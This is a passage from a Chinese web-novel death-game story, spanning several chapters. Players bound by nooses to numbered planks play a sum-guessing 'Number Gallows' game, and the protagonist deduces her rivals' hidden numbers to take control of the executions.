对面,高令刘海下的目光更加冰冷了些,仿佛两根钉子要将沈墨棠打在墙上。
见沈墨棠不说话,叶小霓也不再询问。
大家沉默下来。
倒计时只剩下一分钟。
游戏总共进行六轮。
没人说话,沈墨棠还是决定先跟着自己的直觉玩一轮。
“数字绞刑架”并没有“四人轮盘”来得刺激。
“四人轮盘”中,每个玩家的容错率为“0”——因为一旦中枪,立即死亡;而在“数字绞刑架”中,每个玩家脚下有两块木板,需要至少两轮才会死。
所以,先等第一轮结果出来吧。
“嘀嗒嘀嗒”的倒计时很快进入个位数:11、10、9、8……
没有输入答案的话,会被视为本轮弃权。
大家相继回头,用反绑着的手,在只有自己能看得到的数字键盘上输入数字。
沈墨棠伸出手指,在冰冷的键盘上输入“39”,并按下确认键。
“39”是1~12数字中任意六个数字之和的平均数。第一轮就取个中间值,看看情况好了。
3……
2……
1……
大屏幕的画面再次变化,跳出本轮六个【选择数字】之和:
“25”
25!?
这么低?
沈墨棠眉头一紧。
屏幕上的结果还包括每个玩家肖像底下,显示出各自刚刚输入的猜测数字:
赵莹莹40、沈墨棠39、叶小霓30、夏菲36、高令27、杜泽峰29。
“卧槽!你小子猜的比我还小啊!”
杜泽峰冲高令笑着,一个年长的人近乎谄媚地讨好着一个年轻人,看来游戏之外,这个高令算得上年少有为。
“处——刑——啦——!”
数字出现后,红蟹的声音很快传来:“第一轮的猜测结果出来啦!本轮获得‘行刑权’的是离正确答案‘25’最接近的‘27’——高令玩家!”
“接下来有一分钟的时间,你可以声明1~12里的任意一个号码,对应的木板将立即掉落,并从游戏中去除!”
“那么你选择要处决的号码是……?”
“12。”
高令没有犹豫,似乎早就做好决定。
啪哒——
“呃……!!!”
随着木板掉落的声音,叶小霓的右脚忽然失去支点,身体朝一旁侧过。原本就被勒得紧巴的脖子承受巨大的重量,连呜咽都发不出来!
她反绑着双手挣扎,如一条被吊在空中的鱼,扑腾两下,伸长了左脚尖够到仅剩的左边木板。
终于重新掌握平衡。
“呕——!咳咳……!为什么……”
差点被自己体重拉断脖子,叶小霓只剩下发出干呕喘息的力气。
杜泽峰看热闹不嫌事大:“卧槽!哈!哦哟哟哟——说谎的小女孩被惩罚了!”
沈墨棠将目光挪到高令脸上。
高令的选择并不难理解。
根据规则,在同一轮里如果有共同猜对的玩家,例如刚才有人和他同样猜了“27”,那么最终行刑权将落在两人中脚下拥有更大号码的人手上。
【12】是在场最大的号码,在规则中也更占优势,所以会成为第一个被处决的目标。
沈墨棠保持淡漠,不让目光落在自己脚下……
按照这个“处决”的逻辑,下一轮很可能轮到自己右脚下的【11】。
游戏越来越好玩了。
“呜呼!!!”红蟹发出欢呼:“现在游戏第一轮结束,各位玩家不要松懈,马上开始第二轮喽!哈哈哈哈!”
可怕的合成笑声未落,大屏幕上已经再次跳出“选一选”的字样,以及30秒钟倒计时。
29……
28……
27……
有了第一块掉落的木板,出现第一个受到生命威胁的玩家,现场的氛围又完全不同。
大家相互防备,都不敢乱说话。
唯有和叶小霓相邻的夏菲假惺惺关心了句:“没事吧?”
“……”
叶小霓低着头,不理会任何人。
死亡面前,人人平等。
她浑身不受控制地发抖,恐惧的眼泪已经顺着眼角滑落。
“哦!?”
杜泽峰见状大声嘲弄:“哎!她接下来,只能选择一个号码了吧?……卧槽!那很容易就能猜出来哦!死定了死定了……”
“哎呀,你怎么这样说……”夏菲仍装成好人,说了杜泽峰两句。
30秒的选择时间很快。
游戏还在继续。
沈墨棠谨慎地动了动左右脚,防止被人看出什么端倪。
这轮自己依旧没有选择,让系统自动选择了左脚的【5】。
在这种“猜别人号码”的游戏中,这也是一种策略,为了隐藏自己另一个号码的信息,可以选择和上一轮相同的号码。
很快屏幕跳出“猜一猜”的字样,以
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及5分钟倒计时。
又来到这个熬人的阶段……
杜泽峰嚣张地打量着所有人;高令则仍盯着沈墨棠;叶小霓和赵莹莹都垂着眼不说话;夏菲眼睛滴溜溜的转,不停地观察着在场人的最新动态。
大家不约而同选择沉默。
沈墨棠刚好趁安静,迅速分析上一轮的结果:
1~12间挑出六个数字,总和是“25”,而自己选择了【5】……也就是说,剩下的五个数字相加只有“20”。
其中必然会有特别小数的存在,例如【1】或者【2】。
至于是谁选择了这么小的数字……
从猜测结果来看,场上两名男性都大胆猜测了偏低的和数——高令猜了27,杜泽峰猜了29。
足足比平均数“39”低了10或12。
如果不是有特别大的把握,不会做出这么冒险的举动!
沈墨棠瞬间意识到——他们至少都持有一个小号码!
她又看向屏幕,之前赵莹莹猜的数是40,夏菲是36,都属于平均值的范围内;而叶小霓猜了30,跟杜泽峰差不多。
这也侧面证明,她的【12】号被“处决”掉后,剩下的数字并不大,或许是【3】、【4】之类。
沈墨棠逐渐有了思路……
现在叶小霓只能投小数;而自己这轮也再次选了【5】。
那么整体结果就会比平均数“39”偏小。
那其他人会怎么选?
首先是高令和杜泽峰——这两个男生应该也已经猜到——所以大概率还会投和上一轮同样的号码。
毕竟他们拥有的小数方便控制最终结果的变量,更容易猜测;而且只要和上一轮投一样的号码,就不会暴露各自另一个号码的信息。
此外,目前场上最大的号码【11】在自己脚下,其他人能投的最大数也不过是【10】。
不论夏菲和赵莹莹怎么投,会不会更换上一轮的号码,综合下来考量,第二轮的结果不会和上一轮差太多。
上一轮游戏的最终结果是“25”的话……
沈墨棠侧身,在数字键盘上输入“26”,确认。
“你已经猜好了?”
夏菲第一时间发现沈墨棠的动作。
沈墨棠没理她,依然保持沉默。
“傻了吗你?装哑巴?”杜泽峰嗷嗷乱叫,也得不到任何回应。
时间在凝固的空气中一秒秒流逝。
对面高令的目光依然在看她。
他似乎想开口说什么,但最终作罢。
人一旦在这种游戏中占有心理上的主动,就有余力靠话术、动作、行为等去影响其他玩家的判断,从而推测出心理占弱势玩家的底牌。
而“猜一猜”的五分钟正是用在这种“话疗”地方!
想要避免被上一轮的胜者影响,最好的方式就是——让他们无法干预结果。
根据游戏的规则,玩家的“猜一猜”是在已经做出“选一选”之后进行的。
也就是说,在这五分钟之内,不论如何花言巧语,也改变不了已经被选择的六个号码;这个阶段能改变的,无非就是自己和其他玩家猜测的和数。
只要在没被影响前,输入自己的答案,那么所有和自己相关的结果就完全确定。
就好比做选择题,只要坚定选C,不论题目是什么,对错是什么,都已经没关系了。C才是正确的答案,其他的都无关紧要。
不再有被干扰的余地。
沈墨棠像个提前交卷的考生,百无聊赖地等着倒计时结束。
“刚才大家不是讨论得挺好的吗……”这一轮的信息不多,杜泽峰目光凶恶:“怎么现在都不说话了?”
“一起讨论一下,看看最后要怎么选嘛!”
“大家都说下,自己猜多少啊?”
见无人应答,他又冲沈墨棠大吼:“喂!哑巴孩子,你猜什么数?”
199、198、197……
这个环节设置5分钟,是不是太长了?
还得忍受吵闹的狗叫……
唉,如果能跳过就好了……
第二轮的结果,赶快公布吧!
8. 数字绞刑架4
艰难挨过压抑紧张的几分钟。
其他人还是在倒计时即将结束前,各自输入了自己的答案。
3……
2……
1……
“猜一猜”阶段结束,屏幕上跳出真实和数:
“27”
比上一轮大了2。
六名玩家各自猜测的数字为:
赵莹莹34、沈墨棠26、叶小霓28、夏菲36、高令25、杜泽峰28。
其中“26”和“28”都与正确和数“27”相差1——沈墨棠、叶小霓、杜泽峰都是最好答案!
“处——刑——啦——!”
红蟹出现:“第二轮的猜测结果出来啦!”
“本轮有三名玩家猜测的和数离正确答案‘27’最接近,分别是两名猜测‘28’的玩家,以及一名猜测‘26’的玩家……”
“嗯……但最终,能够获得本轮‘行刑权’的,只有三人中拥有号码最高的——”
“沈墨棠玩家!”
话音刚落,大家都朝沈墨棠投来目光,每个人脸上表情各异。
获得“行刑权”了!
但沈墨棠紧锁眉头,没有丝毫高兴。
她抬起头,对面的高令对她展露一丝冰冷笑意。
“好玩了……”
沈墨棠默默敛神。
本轮有三个玩家并列,而自己拥有“最大的号码”——基本公开了有【11】的事实。
之后的游戏中,必定会遭受攻击!
红蟹语调高亢:“接下来有一分钟的时间,沈墨棠,你可以声明1~12中,除了12号之外的任意一个号码——对应的木板将立即掉落,并从游戏中去除!”
必须好好选择,为下一轮做打算……
“那么你选择要处决的号码是……?”
“1号。”
沈墨棠冷冷抬眼,看向高令和杜泽峰,迅速说出自己要处决的号码。
“卧槽尼玛……”
啪哒——
“呃啊!!!”
杜泽峰已经提前将左脚往右边靠,但在左脚木板掉落的一瞬间,还是稍微晃了身子,导致脖子被狠狠勒了一下。
就像是一条被训犬师拽了狗绳的恶犬,发出难受又不甘的低吠。
赵莹莹和叶小霓脸上展露出片刻解气。
沈墨棠虽然也觉得解气,但却又有点可惜。
本以为【1】号会是高令的号码。
判断有偏差了呢。
“卧槽尼玛!”杜泽峰小心翼翼站在仅剩的木板上。
他嘴上仍不饶人,转而冲其他人大吼,将麻烦往沈墨棠身上引:“大家小心啊!这小女孩很危险哦!她的……她的号码肯定比较大!”
“下轮谁赢了,记得要投大号!”
“他妈的!猜得好没有用,大号更有优势……”
他怎么都没想到,刚才还得意洋洋的自己,现在就和叶小霓同样处境!
慌乱不安地嚷嚷,就差没把“下轮投11”写在脸上了。
“哎?你只能选择一个的号码了吧?”沈墨棠突然转头,幽幽开口。
杜泽峰面露惊恐,他从沈墨棠——一个看上还没二十岁的小女孩的脸上看到不耐烦的杀意。
沈墨棠低语嘲弄:“刚才你自己说过的,傻子会先死……这样啊……嘻嘻,那你很容易就能猜出来哦!下一轮大家就先淘汰你咯!”
“我们六个人,死三个,就有三个能离开这里……又能拿10亿美元……10亿啊!最多有三个人能拿10亿呢……”
游戏会在六轮之后结束。
最极限的情况:是三个玩家被吊死,另外三名玩家离开游戏,并且总共获得30亿美元!
大家明面上不说,但彼此心知肚明……每个人心底就像关押着一只蠢蠢欲动的魔鬼。
沈墨棠的话,就是将牢笼彻底打开,放出这头恐怖的魔鬼!
“你猜猜,你会不会死啊?!”
“你在说什么鬼……”杜泽峰刚想驳斥,看向其他人时,发现每个人的眼神里都幽幽暗暗闪烁着不同的东西,心中不禁一凉!
“第三轮游戏,开始!”
随着红蟹的声音淡去,游戏进行到第三轮。
第一阶段“选一选”30秒倒计时。
29……
28……
27……
所有人的脑子都在飞速思考。
两轮过去,产生两名处在死亡边缘的玩家。剩下的四人中,会有人选择更换数字吗?
沈墨棠略一思索,抬头又看了一眼屏幕,紧接着将目光投向夏菲——第二轮中,她应该换过号码!
当大家发现第一轮的和数结果只有“25”时,如果自己第二轮还是选择同样的号码,那么就会将猜测的答案往“25”进行调整。
沈墨棠自己从39调整到26。
赵莹莹从40调整到34;叶小霓30到28;高令27到25;杜泽峰29到28……
唯有夏菲保持36的猜测数字不变!
她要么是傻子,要么有什么游戏之外的理由不进行调整。
否则,她在第二轮中必定更换了号码,而且比第一轮大;甚至她还认为,其他人和她一样,也会换上大数。
所以才在第二轮保持“36”的答案不变。
那么……
到了第三轮,她还会选择更换号码吗?
又或者……
希望是自己想太多了,对方并没有太多这样的意识!
30秒倒计时,没给玩家留下太多犹豫的空间。
沈墨棠仍旧在倒计时结束前,象征性地动动左右脚,让系统自动选择了【5】。
接下来,第三次进入5分钟的“猜一猜”阶段。
“他妈的!”
杜泽峰像是要打破颓势般,恶狠狠地咬着牙,怂恿道:“这轮赢的人,记得要把大的号码先投掉啊!大家……大家别乱被骗了!”
无人搭腔。
沈墨棠也没再管他,专注游戏中。
前两轮的号码【1】已经没了……虽然还不清楚杜泽峰另一个号码会比【1】大多少,但如果其他人都继续选择同样的号码,最终和数毋庸置疑会大于“27”。
变数会在剩下三人当中产生:夏菲、高令、赵莹莹。
沈墨棠从始至终没朝赵莹莹那边侧过眼。
通过上一场“四人轮盘”的游戏和这场游戏开局的反应,她能清楚地知道赵莹莹不仅理解慢,很有可能还是一个“规则黑洞”——她无法很快理解游戏中规则的描述,所以经常会问出很蠢的问题来。
比如,最开始主持人宣读“数字绞刑架”规则的时候,明明说过“现场12块木板已经事先被随机编好1至12的号码,没有重复”。
但赵莹莹还是问了句“数字是随机的吗”。
这表明她对“数字随机”这件事有疑惑,试图再次确认。
什么情况下会让玩家产生这种疑惑呢?
很大概率因为——拥有的号码是相连的!
捕捉到赵莹莹的底牌信息后,沈墨棠对游戏的把控又多了一层。
为了不受干扰,她这次仍然提前输入了答案:
30。
比第二轮的结果“27”稍大。
就算不能准确猜中,但只要和像第二轮一样和其他最接近的人相同,就能够靠“和局比号码大小”的规则来获胜。
“卧槽!她又提前……”
杜泽峰看到沈墨棠的动作,嘴上骂骂咧咧。
但他也不能说什么,只能看向高令和夏菲,眼神中一半求助,一半慌张。
游戏进行到这个阶段,随时都会死人。
他不想死!
可现场已经没人愿意讨论,也没人愿意信任他人。
5分钟的“猜一猜”阶段成为沉默的汪洋。
只剩时间“嘀嗒嘀嗒”流逝。
……
“这小妮子真是有点邪性!”
屏幕闪烁的荧光中,西庄沙哑的嗓音赞叹。
北庄仍旧阴阳怪气:“臭老西,刚才不还说人家太过锋利,容易翻车吗?”
“她是太自信了。”西庄咳嗽两声,“这种性格的人只相信自己,要是进城打团队战,肯定吃亏!”
“哦?意思是咱们的东庄弟弟看走眼咯?”
“她行的。”东庄开口,语气坚定:“不会错!她们刚刚!我觉得也是有合作的!”
西庄笑道:“合作失败了而已……唉,孤注一掷啊,赌徒心理……咳咳,阿东啊,多嘴问一句……为了抢这小妮子,你肯付多少?”
“哼!”东庄回应一声冷哼。
“哎呀,人家倒是觉得那小哥哥不错呢……”北庄瞟向屏幕,“听说他们是自助餐馆的同事……他很会带团队嘛!没太多交流时间,但每个人功能都安排得清清楚楚,是个打团队战的好苗子。老西,这是你的菜。”
屏幕画面中,分屏显示六名玩家的实时特写。其中沈墨棠和高令两人被放大显示。
“看看吧……个人的力量总是大不过团队
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嘛……”西庄哂笑:“莫着急……莫着急……”
……
实际上“数字绞刑架”并非纯粹的“零和博弈”。
六名玩家只要相互完全信任,彼此坦诚不背叛,很轻易就能全员存活。
可人一旦陷入更深的叙事中,例如“逃离命运,获得巨额资产”这种引诱中,便会滋生最深的私心!
“嗯。”
沈墨棠对此毫不奇怪。
从小到大,从古至今,人,都是自私的。
就像,自私的人因为不想负责任跳楼自杀。
就像,自私的人丢下累赘去重新生活。
就像,自私的人只选择自己的前程……
自私是一种人类无法摆脱的基因,在对自己有利的选项中,人一定会做出最自私的决定!
沈墨棠觉得自己像是飘到了建筑的最顶端。
她冷淡地俯视着这些被绳索困住的躯体。
我,死了吗?
似乎所有的感官都脱离了身体,但身体是完整的,有完整的意识。
那是些不纯粹的黑暗、混沌、孤独,以及毫无意义的画面。
一个苍老的声音隐隐约约响起,你死了吗?
我,死了吗?
“哒哒、哒哒、哒哒。”
心脏跳得飞快!
沈墨棠的左手食指,又开始不由自主颤抖着敲打!
一瞬间将沈墨棠的意识拉回!
心率太快了!
慢下来、慢下来、慢下来……
心率、脉搏、手指,都慢下来……
3……
2……
1……
“猜一猜”阶段结束,屏幕公布第三轮的真实和数:
38。
沈墨棠瞳孔不由自主颤动了一下!
赵莹莹28,沈墨棠30,叶小霓30,夏菲36,高令37,杜泽峰30。
“高令37……”
赵莹莹低声喃喃,杜泽峰的号码被猜出来后,她的情绪明显好了很多,也抬头望着屏幕。
她右手边,杜泽峰长舒一口气,仿佛从鬼门关逛了一圈回来。
他贱兮兮地恭维高令:“卧槽……你小子可以啊!猜中两次了!?可以可以!厉害哦!”
“处——刑——啦——!”
“……本轮获得‘行刑权’的是离正确答案‘38’最接近的‘37’——高令玩家!”
“接下来有一分钟的时间,你可以……哎呀,你已经会玩这个游戏了,我就直接问吧:你选择要处决的号码是……?”
高令双眼闪过一道冷光:
“5号。”
!!!???
啪哒——
沈墨棠根本没反应过来,双脚瞬间悬空,身体瞬间下坠的重力差点扯断了脖子!
5号?!
为什么是5号?
她已经有心理准备,自己右脚的11号会被“处决”,所以提前将双脚都挪到左边,不让右侧木板受力,等待它掉落。
但……被“处决”的却是左边的【5】号木板!
身体转移好的重心差点害自己原地窒息!
“……!!”
绳索发出“吱吱吱”的可怕绷紧声!
沈墨棠撑着胸腔里的一口气,抬腿够到右边木板,几乎是颤抖着将身体拉回平台上。
直到脖子处的绳索松了下来,她才能重重咳嗽着,重新呼吸。
“卧槽!卧槽!”杜泽峰放肆的嘲笑紧随而至:“哈哈哈哈……5号是你呀?卧槽真的准!”
真的准。
沈墨棠感受到对面平台令人不适的目光。
高令。
他一开始就想着要攻击自己吗?
但他是怎么猜到的?
为什么能猜到5号?
是蒙的?
只是随便选个了数字?
不……
到底哪里出了问题?
刚刚有一瞬的窒息,大脑现在供氧不足,导致晕乎乎的,什么也想不出来。
第四轮已经开始,屏幕上弹出“选一选”和30秒倒计时,游戏进度不会等输家做好准备。
29……
28……
27……
沈墨棠在这个阶段已经什么都做不了。
【5】号已经掉落,只能被动选择【11】号。
这个号码,在刚才第二轮就已经暴露了。
她双腿站在仅剩的木板上。
身前,身后,皆是万丈深渊!
9. 数字绞刑架5
30秒倒计时结束。
第四轮“猜一猜”阶段。
299……
298……
297……
沈墨棠转动眼眸,视线迅速扫过每一样事物,试图找到能让自己心率下降的东西。
目光所及之处,只有五张神色各异的面孔,盯着自己。
什么都听不见,连倒计时的嘀嗒声都进不了耳朵。脑子里弥漫着混沌的蜂鸣,再怎么用力咳嗽都难以治愈。
赵莹莹动了动嘴唇,像是发出“没事吧”一类的关心;杜泽峰朝这边讪笑,跟高令说着话,应该是在出言嘲讽。
什么都听不见……
274、273、272、271……
249、248、247、246……
冷静,冷静……
自己只是在盯着倒计时发呆。
意识到这点后,沈墨棠重重吸了口气,让血氧流入大脑。
不要急。
这个阶段足足有5分钟。
足够进行思考。
闭上眼,低下头……耳朵开始能听得见“嘀嗒嘀嗒”的倒计时,以及对面聒噪着耀武扬威。
高令是怎么赢的?
第二轮的和数是“27”,第三轮的和数却直接飙升到“38”?
高令的答案的是“37”——比上一轮结果足足大了10!
他之所以这么做,必定因为他换了大的号码;同时,上轮中杜泽峰的【1】被处决,没有了小数选择,也只能被迫换大号码……如果没猜错,应该是这二者加起来彻底改变了最终结果。
想通这点,沈墨棠缓缓睁开眼,望着脚下仅剩的木板。
控制住手指的敲打,让心率和脉搏都降下来……
但,还有一个问题:
高令为什么不处决【11】?
高令不会受杜泽锋影响,按照他首轮的逻辑,应该先处决掉最大的号码,而【11】明明是目前场上的最大威胁才对。
为什么?
他为什么不选【11】呢?
除非……
他刻意不除掉【11】,而是想用【11】做挡箭牌?
他不希望之后几轮中,万一别人胜利,按照杜泽峰的提议“先攻击大号码”而直接攻击到他……也就是说,他拥有仅次于【11】的号码——【10】!
沈墨棠微微抬起视线,看向对面高令脚下的两块木板。
仿佛能看到【2】、【10】两个数字。
两个号码相差“8”。
这足够他左右最终结果,掌控接下来游戏的主动权!
真是分到了两个好号码……
难怪那么自信……
高令的眼神中已经隐含着胜券在握的情绪。
201、200、199、198……
沈墨棠动了动脖子,陷入犹豫。
那么现在,第四轮,该往大点猜,还是往小点猜?
首先,前三轮都使用的号码【5】已经被处决了,现在只能选择【11】。
会让结果增加“6”。
这点其他人也能大概猜到,特别是高令。
叶小霓,杜泽峰,沈墨棠的号码已经固定。仍拥有选择权的三个人中,赵莹莹的两个号码相差无几,没有操作的空间。
剩下的变数在于,这轮高令和夏菲会选择大号码还是小号码?
沈墨棠思绪又清晰了许多。
她眼中闪过一道光,微微吹动刘海,在心里告诉自己:
“有人要失手了……”
……
“淘汰5号?”
黑暗中,北庄的声音稍显吃惊:“哎哟!这小哥哥在想什么呢?一开始先淘汰大数的策略没错啊!”
“第一轮占了先机,淘汰【12】……再次猜中,就该淘汰【11】才对……临时换策略可不太好啊!”
西庄“哈哈哈”笑着,咳嗽两声,“果然是年轻人,有野心。”
“野心?”
“这孩子打算拿10亿啊!”西庄沙哑道:“他是怕后三轮万一别人猜中,继续淘汰大数,这样自己的【10】不就没了……他想两个号码都保住,所以留着【11】……唉,年轻人呐!”
北庄秉着惋惜的口吻:“太贪了啦……”
“得了吧,北庄。我看这孩子更是你的菜,你不就喜欢这种……怎么说……”西庄又笑道:“不过现在还好,贪了点,但破绽不大,是个好苗子……这场优势在他!阿东看中的小妮子危险咯!”
“胜负未定!”东庄嘴硬。
……
176、175、174、173……
“咱们还是按照刚开始说好的,一人掉一块嘞?”叶小霓几乎要哭了。
明明是可以全员获胜的局面,为什么玩到现在,她感觉自己每一轮都可能会被立刻吊死?
连沈墨棠……沈墨棠都已经到了自身难保的地步了!
叶小霓的求援对象是左手边的夏菲。
可惜夏菲高马尾一甩,装作没听见。
“早他妈干嘛去了!?现在知道怕死啦,撒谎精?啊?”杜泽峰在另一边朝叶小霓吐舌头,做出吊死鬼的样子,一边嘲笑一边看向高令。
仿佛这种幼稚的行为能讨好高令一样。
“游戏还有三轮嘞!”叶小霓强行压住内心对死亡的恐惧,瞪向杜泽锋,“你确定你不会被选中?如果咱三个都吊死,那他们三就能拿奖励……”
她没敢把话说完。
“我……”杜泽峰底气突然一泄。
“现在吊死你可比吊死其他人简单多了嘞!”
是啊,现在局势微妙。
三个“跛脚”玩家没有博弈的余地;只要剩下的三个玩家联合起来,很容易就能将叶小霓、杜泽峰、沈墨棠都淘汰掉。
总共获得30亿美元奖励!
一想到这,杜泽峰也慌恐起来,瞟向高令的次数明显增多。但又不敢随便开口,生怕一说错话,直接被牺牲!
“夏菲姐姐,但我知道……”杜泽锋一闭嘴,叶小霓就摆出一副泪眼汪汪,再次哀求夏菲:“……但我知道,我们现在还是可以按开始说好的那样,一起活着嘞,对吧!”
“……”
夏菲没有回头,连侧脸都没给叶小霓留。
她看向高令,高令也看向她。两人目光交汇,似乎已完成千言万语的交流。
这反应也让杜泽峰焦躁无比。
他再一次看向高令,“你小子……牛逼!高经理……高总……小老板!看在我在店里干了那么多年的份上,我……我只要活下来就行……可以吧?”
“一起活着更好嘞!”叶小霓转过头,寻求沈墨棠帮腔。
现在还有机会,一旦开始死人,那等待她的结局也只有一个……
沈墨棠看着叶小霓焦虑不安的样子,轻轻一笑:“不,这不现实……”
她抬起头,让建筑穹顶的光照亮整张脸:
“其实这个游戏,有必胜法。”
“必胜法?”
杜泽峰不屑地冷哼一声,观察了一下高令凝眉的表情,赶紧帮忙驳斥:“他妈的……姑娘家家吓傻啦?装模作样……说什么鬼话呢!”
沈墨棠没再回应,只是兀自输入答案。
“槽!她又提前猜了……”杜泽峰骂骂咧咧,又朝空中吐了口痰。
高令没有说话,自信的神色渐渐消失,脸上浮起难以掩饰的困惑。
他那双深不见底的眸子,自始至终死死盯着沈墨棠,不知道对面这个女生脑子里想到了什么。
明明她才刚被处决掉一块木板,被绳子吊得半死不活……可短短两三分钟后,竟然又恢复最初那副沉着冷静的表情!
不,不止如此。
她现在的状态,比最开始更加兴奋!
就像……
深海里的大白鲨,闻到了血腥味!
压迫感十足!
高令不明白,为何会产生这种可怕的既视感,是自己忽略了什么吗?
另一边,叶小霓将信将疑:
“你……你有啥必胜法嘞?”
沈墨棠面无表情,眼中毫无波澜,对一切都不置可否。
“你……你说话嘞……?”不论叶小霓怎么问,也没能知晓所谓的“必胜法”究竟是什么意思。
沈墨棠的沉默,让杜泽峰急得继续口吐芬芳。
时间所剩无几,大家相继输入答案。
3……
2……
1……
第四轮“猜一猜”阶段结束。
屏幕上公布了本轮结果:
36。
个人猜测和数分别为:
赵莹莹34,沈墨棠36,叶小霓32,夏菲36,高令36,杜泽峰36。
“!!!!!”
四个人同时猜中了“
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36”?
几张脸仰望屏幕,满是震惊。
高令最先反应过来,双目圆睁瞪向沈墨棠——
场上最高的数字【11】。
也就是说……
“处——刑——啦——!”
红蟹打破众人短暂的失语:“哎呀……本轮你们一共有四个人都猜中了正确答案“36”……”
“……但获得‘行刑权’的是其中拥有最大号码的……”
“沈墨棠玩家!”
话音一落,五道视线齐刷刷扫向这边。
“必胜法”究竟是什么???
“接下来有一分钟的时间……”红蟹语调轻佻:“想清楚哦……你选择要处决的号码是……?”
沈墨棠目光定定,轻轻扬起嘴角:
“10号。”
“……咔嗒……”
“呃……!!!”
10号木板掉落!
高令露出痛苦的表情!
盖着上半部分脸的头发随着身体坠落猛然腾空,深邃的眸子里涌现出难以克制的惊愕、惶恐,以及被绳索勒住脖颈的痛楚。
幸好他还有另一块木板可以踩,很快恢复了平衡。
等下……
其他人的震慑难以平复。
——沈墨棠处决了【10】号!?
四个猜中答案的人当中,她获得行刑权……这不就意味着,她脚下唯一的号码,就是目前场上最大的【11】号!
刚刚还是猜测,但这下,沈墨棠彻底公开了自己的底牌?!!
“你真的是11!?”杜泽峰脱口而出,“不……你只能是11!”
“这……我明白了……”夏菲意识到什么:“你说的必胜法……”
“必胜法?”叶小霓回头看了一眼,她心中也有猜测,不过不知道是不是跟其他人一样。
夏菲点头,高马尾上下晃动:“沈墨棠有最大的号……只要她能一直猜中,我们抢不过她!”
“但……”叶小霓心中有疑惑,本不想问,但最终还是没忍住:“但她咋的才能保证猜中嘞?”
“就……”
夏菲回答不上来,她也毫无头绪。
对啊,她怎么能保证每次都猜中?
4……
3……
2……
1……
大家都还在思考的时候,第五轮的“选一选”阶段已经结束。
屏幕上跳出“猜一猜”的字样。
299……
298……
297……
第四轮的时候,也是这样,并不会等输家准备好才开始。
“数字绞刑架”每轮游戏的“选一选”阶段只有30秒。
一旦局势出现改变,玩家很难第一时间进行确切的选择,再加上有些玩家早已失去选择权……综合下来,最终答案的变化十分有限。
——这才是沈墨棠会说出“必胜法”的关键!
前三轮游戏过后,场上只剩下9个号码,从中选出6个……几乎到了可以通过简单计算就能确定答案的地步!
而第三轮的最终和数是“38”。
沈墨棠的【5】号被处刑,第四轮只能投【11】号,会令最终和数增加6。
假设其他人都不改变上一轮的选择,那么第四轮的结果应该是“38+6”等于“44”。
当时能改变选择的,只有赵莹莹、夏菲、高令三人。
赵莹莹和夏菲都处在安全状态,在当时仅有30秒的“选一选”阶段中,大概率不会更换号码。
唯有高令明确知道沈墨棠的底牌,并且他已经在第三轮换过号码……依照他强势的态度和性格决断,必定会再次占据主动,在第四轮继续更换!
他脚下的号码是【2】和【10】,第四轮将【10】换成【2】的话,那么最终和数就会是“44-8”
——36!
最终结果也确实如此,总共有4名玩家猜了“36”。
但……必胜法在于……
高令失误了。
因为贪念,他留下了沈墨棠全场最大的【11】!
在越来越确定的答案面前,拥有最大的号码就是“必胜法”!
高令梗着脖子,恶狠狠瞪向这边。
沈墨棠却不在乎他的任何反应,只是平静地看向夏菲和赵莹莹:“你们两个,还有机会拿到10亿美元哦!”
10. 数字绞刑架6
10亿……再加上逃离这场“游戏”……
夏菲不能说不心动……
自从高令的木板只剩一块后,她便低着头,没和任何人对上目光,包括高令和杜泽峰。
沈墨棠微微一笑。对夏菲的反应很满意。
游戏已经到了第五轮的“猜一猜”阶段。刚刚只剩两名玩家能够改变号码。
夏菲和赵莹莹。
赵莹莹的表现沈墨棠心里多少有数,首先她对规则理解慢,但不代表她会出现乱来的举动,她最多就是通过大喊大叫来让大家分心,让其他人也跟她一样听不清规则,将其他人拉到跟她在同一条起跑线上。
但让她在安全的状态下主动出击,不太可能。
至于夏菲……这个女人可不简单。
不是个善茬。
至少不是表面看上去那样爽朗无害。最开始出于安全,她选择和两个男的组队,可一旦发现自己成为有利的优势者,她便又完全不再与他们交流!
在场的六个人中,她还能第一时间猜出,“必胜法”就是利用最大号码【11】带来的优势。
这么聪明又果断的人,在这轮游戏必然不会坐以待毙!
沈墨棠可以百分百肯定,夏菲一定会改变号码……问题在于,她的两个号码分别是什么?
“喂!大家……冷静!听我说啊!”
杜泽峰不安叫喊着:“现在刚好嘛,我们每个人掉了一块……公平,很公平!我们就是按照一开始说好的,一人一块,谁也不用死咯……对吧?是不是这样,啊?”
无人应答。
“卧槽!”他气急败坏:“他妈的!高令,夏菲咱们不是说好的……都是一群骗子!槽……!”
“这样做最好啊,对吧,对吧!叶小霓……你们是同学,你劝劝沈墨棠……你劝劝她……大家都不想死……你,你你……你们也都不想死吧!”
“你还说什么10亿……没有10亿,都是骗人的!杀人,杀人犯法知道吧!大家都成年了,坐牢要做一辈子!别犯错误啊!”
杜泽峰的语气颠三倒四,分不清到底是愤怒还是哀求,或者两者都有,几乎能从口吻中听出些许恐惧。
高令垂下视线,整个人像是被冻在木板上。
早已没有之前的气焰。
他只剩下号码【2】,毫无胜算,任人宰割。
10亿已经跟他没什么关系了,他现在唯一能做的,就是祈祷下一轮只有自己一个人猜中和数——但这显然不可能。
在他对面,沈墨棠默默做了个深呼吸。
她正专心推测夏菲的号码:
游戏到现在为止,已经决掉的号码是“【12】、【1】、【5】、【10】”。
上一轮的和数为36,已知自己是【11】,高令是【2】,剩下的四个数字总和为“36-11-2”,等于23。
在“3、4、6、7、8、9”这六个数字中,选出四个数字相加刚好为“23”的组合……
沈墨棠静下心来,屏蔽了外界的干扰。
【8】、【9】不可能共存,【7】、【8】不能共存,【6】、【7】不能共存,【4】、【6】不能共存……要想选出四个数字相加刚好为“23”,可能的组合只有“3、4、7、9”一个!
剩余两个号码是【6】和【8】,分别是夏菲和赵莹莹的另一个号码。
在最开始,赵莹莹无意间泄露她有一个号码是【7】。
鉴于第二轮游戏中,夏菲已经将自己的选择号码改为大号码,之后几轮都没变过……假设赵莹莹是【6】和【7】,那么夏菲就只能是【8】和【9】——相差太小,不符合她改变号码后的行为逻辑。
这么一来,赵莹莹只能是【7】和【8】,而夏菲是【6】和【9】!
剩下的【3】和【4】分别是叶小霓和杜泽峰……至于具体两人对应的是哪个号码,已经不太重要了。
既然这轮只有夏菲更换了号码,将【9】换成【6】,那么答案应该比上一轮少3,也就是说,最终结果是……
“嘀嘀嘀……”
沈墨棠默默地,果断输入“33”。
……
“哈哈哈哈!老西,看走眼了吧!”
北庄大声嬉笑:“人家毕竟是东庄弟弟看上的新人,哪里那么容易挂在这里哦!”
